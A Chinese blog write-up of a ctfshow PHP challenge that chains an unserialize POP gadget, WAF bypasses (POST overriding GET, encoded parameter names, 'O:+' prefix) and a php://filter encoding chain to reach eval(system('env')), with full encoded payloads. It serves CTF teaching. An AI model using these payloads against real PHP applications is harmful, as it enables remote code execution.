前言

刷题时看到有大佬已经有wp了，但其中有些东西并不能让我很好的理解，特写一篇文章来补全一下

大佬wp

#预期解法

源码

开胃小菜，就让我成为签到题叭 <?phpheader('Content-Type:text/html;charset=utf-8');error_reporting(0);function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } }}function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2");}function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."<br>"; if($count!=1){ return True; } if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; }}class ctf{ public $h1; public $h2; public function __wakeup(){ throw new Exception("fastfast"); } public function __destruct() { $this->h1->nonono($this->h2); }}class show{ public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; } }}class Chu0_write{ public $chu0; public $chu1; public $cmd; public function __construct(){ $this->chu0 = 'xiuxiuxiu'; } public function __toString(){ echo "__toString"."<br>"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."<br>"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; } file_put_contents("ctfw.txt",""); } return "Go on"; }}if (!$_GET['show_show.show']){ echo "开胃小菜，就让我成为签到题叭"; highlight_file(__FILE__);}else{ echo "WAF,启动！"; waf1($_REQUEST); waf2($_SERVER['QUERY_STRING']); if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ unserialize($_GET['show_show.show']); }else{ echo "被waf啦"; }}

流程

waf1()->waf2()->正则->ctf() __destruct -> show() __call -> Chu0_write __toString(){waf_in_waf_php()}

构建pop链

<?php class ctf{ public $h1; public $h2; } class show{ } class Chu0_write{ public $chu0; public $chu1; public $cmd;} $a=new ctf();$a->h1=new show();$a->h2=[[2=>new Chu0_write()]]; //注意这里的参数是ctf()的h2 //__call($name,$args)中的$args已经是一个数组,所h2只用嵌套两层即可 echo serialize($a);

得到pop链

O:3:"ctf":2:{ s:2:"h1";O:4:"show":0:{ }s:2:"h2";a:1:{ i:0;a:1:{ i:2;O:10:"Chu0_write":3:{ s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}

要绕过其正则

preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show']

则最终pop链为

O:+3:"ctf":2:{ s:2:"h1";O:4:"show":0:{ }s:2:"h2";a:1:{ i:0;a:1:{ i:2;O:10:"Chu0_write":3:{ s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}

waf1就是我们传递的参数值中不能含有a-z和A-Z，这里有个知识点，就是$_REQUEST的传参中POST的优先级比GET高，我们可以POST复制传递题目让我们GET的参数，waf1就会匹配POST的数据而忽略GET，从而绕过

waf2让我们GET传参中不能有show出现，可以用URL加密进行绕过，在传参规则中show_show.shwo不能允许所以改成show[show.show

所以传参

GET：?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%4f:%2b%33:%22%63%74%66%22:%32:%7b%73:%32:%22%68%31%22%3b%4f:%34:%22%73%68%6f%77%22:%30:%7b%7d%73:%32:%22%68%32%22%3b%61:%31:%7b%69:%30%3b%61:%31:%7b%69:%32%3b%4f:%31%30:%22%43%68%75%30%5f%77%72%69%74%65%22:%33:%7b%73:%34:%22%63%68%75%30%22%3b%4e%3b%73:%34:%22%63%68%75%31%22%3b%4e%3b%73:%33:%22%63%6d%64%22%3b%4e%3b%7d%7d%7d

POST：show[show.show=1

这样到了tostring下面

这里主要是用了php://filter的具体的思路还是看大佬的wp

主要修改一下其加密的方式

<?php $text = "system"; $base64_text = base64_encode($text); $myarray = str_split($base64_text, 1); $s=implode("\x00", $myarray)."\x00";//为了不造成传参中出现两个=,对其前后都加上/x00,且并不会对之后的base64解码造成影响 $quoted_printable = quoted_printable_encode($s); echo $quoted_printable;?>

所以最终payload

GET：?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env

POST：show[show.show=1&name=1&chu0=1&cmd=1

后言

这篇博客是看了大佬的wp后进行的进一步解释，所以会有很多相同之处。如有侵犯请联系我（立马删除）最后再次推荐一下大佬的wp